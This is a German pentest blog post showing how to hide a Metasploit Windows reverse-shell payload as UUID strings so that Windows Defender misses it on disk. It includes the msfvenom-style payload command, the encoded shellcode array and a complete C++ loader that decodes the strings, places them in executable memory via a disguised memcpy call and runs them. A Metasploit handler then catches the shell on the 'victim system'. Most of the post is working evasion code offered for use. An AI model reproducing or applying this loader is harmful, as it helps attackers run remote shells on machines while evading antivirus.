{{tag>IT-Security Windows Kali pentest obfuscation blog deutsch}} ====== Obfuscation: Shellcode als UUIDs tarnen ====== {{:it-security:blog:a3896ce4-2725-4074-8a65-98fb4aa4d0c3.webp?400x200|}} Im letzten [[it-security:blog:shellcode_injection-4|Blogpost]] beschäftigten wir uns mit der Entwicklung eines calc.exe Shellcodes. Die Injection-Methode, die ich hierbei zum Testen nutzte, wurde vom Windows Defender sofort blockiert. Somit musste ich Loader und Shellcode entsprechend anpassen. Mir kam die Idee, die OpCodes in ein String-Array umzuwandeln, welches mit [[https://de.wikipedia.org/wiki/Universally_Unique_Identifier|UUIDs]] gefüllt ist. Diese müssen dann entsprechend vor der Injection wieder in Bytes umgewandelt werden. Hierzu habe ich einen En- und Decoder geschrieben, welcher genau dies macht. ===== Tools ===== Der Encoder ist Teil meines Shellcode-Tools [[https://github.com/psycore8/shencode|ShenCode]], welches als Open-Source zur Verfügung steht. ===== Schritt1: Shellcode vorbereiten ===== ==== erzeugen ==== Wir erstellen ein Payload ohne weitergehende Verschlüsselung bzw. Enkodierung. Dieses wird in der Regel durch Windows Defender erkannt. python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw" ==== encoden ==== Dieses Payload encoden wir nun als UUID-Strings. python shencode.py encode -f shell_rev.raw -u Die Ausgabe sieht nun in etwas so aus: [*] try to open file [+] reading 240906.001 successful! [*] try to generate UUIDs std::vector sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; [+] DONE! ===== Schritt 2: Inject.cpp schreiben ===== ==== Header ==== === verschleierter Shellcode === Wir erstellen ein neues C++ Projekt und übernehmen das verschleierte String-Array, welches wir zuvor erstellt haben. #include #include #include #include #include #include #pragma warning std::vector sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; ==== Encoding und Injection ==== === überflüssige Zeichen entfernen === Zunächst benötigen wir eine Funktion, um die ''%%-%%'' Zeichen zu entfernen. Wir übergeben dieser Funktion einen String, welcher dann bereinigt wird. void removeDashes(std::string& str) { str.erase(std::remove(str.begin(), str.end(), '-'), str.end()); } === Strings in Bytes konvertieren === Die nächste Funktion sorgt für die Aufbereitung der UUID Strings in ausführbare Bytes. Das String-Array wird Stück für Stück durchlaufen: * Entfernen von ''%%-%%'' * Lese 2 Zeichen und gib diese als Byte zurück * Wenn das String-Array durchlaufen ist, gib das erzeugte Byte-Array an den Caller zurück std::vector convertToBytes(const std::vector& inputStrings) { std::vector byteArray; for (const auto& str : inputStrings) { std::string cleanStr = str; removeDashes(cleanStr); for (size_t i = 0; i < cleanStr.length(); i += 2) { if (i + 1 < cleanStr.length()) { std::string byteString = cleanStr.substr(i, 2); uint8_t byte = static_cast(std::stoi(byteString, nullptr, 16)); byteArray.push_back(byte); } } } return byteArray; } === Hauptprogramm === Das Hauptprogramm initialisiert die Variablen, ruft die Konvertierungsfunktion auf, gibt die Bytes in der Konsole aus und führt anschließend die Injection aus. Um diesen Vorgang etwas zu tarnen, wird die Funktion ''%%memcpy%%'' nicht direkt aufgerufen, sondern über einen Pointer mit unserer eigenen Funktion verknüpft. int main() { std::vector input = sID; std::vector result = convertToBytes(input); unsigned char* Payload = reinterpret_cast(result.data()); size_t byteArrayLength = result.size(); std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; for (size_t i = 0; i < byteArrayLength; ++i) { std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast(Payload[i]) << " "; if ((i + 1) % 8 == 0) { std::cout << std::endl; } } void* (*memcpyPtr) (void*, const void*, size_t); void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpyPtr = &memcpy; memcpyPtr(exec, Payload, byteArrayLength); ((void(*)())exec)(); return 0; } ===== Schritt 3: Funktionalität testen ===== ==== Metasploit handler ==== Wir starten einen Metasploit Handler auf dem Angriffs-System, um die Reverse Shell entgegen zu nehmen: msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666 [*] Started reverse TCP handler on 0.0.0.0:15666 ==== Inject.cpp kompilieren ==== Anschließend kompilieren wir unsere Inject.cpp als 64-Bit Programm. Dieses kopieren wir anschließend auf das Opfer-System. Nach dem Kopiervorgang wird die Datei nicht erkannt. Wir scannen diese einmal händisch mit dem Windows Defender. {{it-security:blog:2024-220-1.png}} Das sieht ebenfalls gut aus. ==== Ausführen ==== Wir führen nun die Datei aus und warten auf das Ergebnis. Leider passiert an dieser Stelle auch erstmal nichts, außer Warten. Ein Blick auf den Shellcode verrät auch direkt warum das so ist: "c85fffd5-83f8-007d-2858-68004000006a", Wir haben ein Raw-Payload aus metasploit heraus erzeugt. Dieses enthält eine Menge Null-Bytes und diese verhindern die korrekte Ausführung. Dies war recht ärgerlich, da meine ersten Tests durchliefen. Ich habe den gesamten Vorgang mit dem metasploit internen XOR Encoder wiederholt und Null-Bytes als Bad Character definiert. Hiermit konnte ich die Shell dann spawnen, jedoch wird der XOR Decoder im Speicher erkannt und Windows Defender schlägt Alarm. ===== Fazit ===== Die UUID Verschleierung funktioniert und schützt die Datei beim Festplatten-Zugriff. Nach der Ausführung muss noch ein Speicherschutz her, der die Erkennung verhindert. Dies zeige ich im nächsten Teil. ~~DISCUSSION~~